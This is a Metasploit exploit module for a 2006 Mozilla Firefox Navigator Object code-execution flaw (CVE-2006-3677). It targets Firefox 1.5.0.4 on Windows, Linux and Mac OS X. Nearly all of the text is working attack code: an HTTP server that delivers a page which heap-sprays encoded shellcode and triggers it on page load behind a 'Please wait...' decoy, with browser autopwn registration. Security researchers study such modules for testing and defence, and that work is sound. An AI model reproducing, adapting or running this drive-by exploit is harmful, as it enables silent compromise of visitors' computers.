Mozilla Suite/Firefox – Navigator Object Code Execution (Metasploit)
## # $Id: mozilla_navigatorjava.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core/constants' require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::FF, :javascript => true, :rank => NormalRanking, # reliable memory corruption :vuln_test => %Q| is_vuln = false; if (window.navigator.javaEnabled && window.navigator.javaEnabled()){ is_vuln = true; } |, }) def initialize(info = {}) super(update_info(info, 'Name' => 'Mozilla Suite/Firefox Navigator Object Code Execution', 'Description' => %q{ This module exploits a code execution vulnerability in the Mozilla Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit requires the Java plugin to be installed. }, 'License' => MSF_LICENSE, 'Author' => ['hdm'], 'Version' => '$Revision: 10394 $', 'References' => [ ['CVE', '2006-3677'], ['OSVDB', '27559'], ['BID', '19192'], ['URL', 'http://www.mozilla.org/security/announce/mfsa2006-45.html'], ['URL', 'http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html'], ], 'Payload' => { 'Space' => 512, 'BadChars' => "", }, 'Targets' => [ [ 'Firefox 1.5.0.4 Windows x86', { 'Platform' => 'win', 'Arch' => ARCH_X86, 'Ret' => 0x08000800, 'Fill' => "%u0800", } ], [ 'Firefox 1.5.0.4 Linux x86', { 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Ret' => -0x58000000, 'Fill' => "%ua8a8", } ], [ 'Firefox 1.5.0.4 Mac OS X PPC', { 'Platform' => 'osx', 'Arch' => ARCH_PPC, 'Ret' => 0x0c000000, 'Fill' => "%u0c0c", } ], [ 'Firefox 1.5.0.4 Mac OS X x86', { 'Platform' => 'osx', 'Arch' => ARCH_X86, 'Ret' => 0x1c000000, 'Fill' => "%u1c1c", } ], ], 'DisclosureDate' => 'Jul 25 2006' )) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' }) # Handle the payload handler(cli) end def generate_html(payload) enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) return %Q| <html><head> <script> function Exploit() { if (window.navigator.javaEnabled) { var shellcode = unescape("#{enc_code}"); var b = unescape("#{target['Fill']}"); while (b.length <= 0x400000) b+=b; var c = new Array(); for (var i =0; i<36; i++) { c[i] = b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode + b.substring(0, 0x100000 - shellcode.length) + shellcode; } window.navigator = (#{target['Ret']} / 2); try { java.lang.reflect.Runtime.newInstance( java.lang.Class.forName("java.lang.Runtime"), 0 ); }catch(e){ } } } </script> </head><body onload='Exploit()'>Please wait...</body></html> | end end |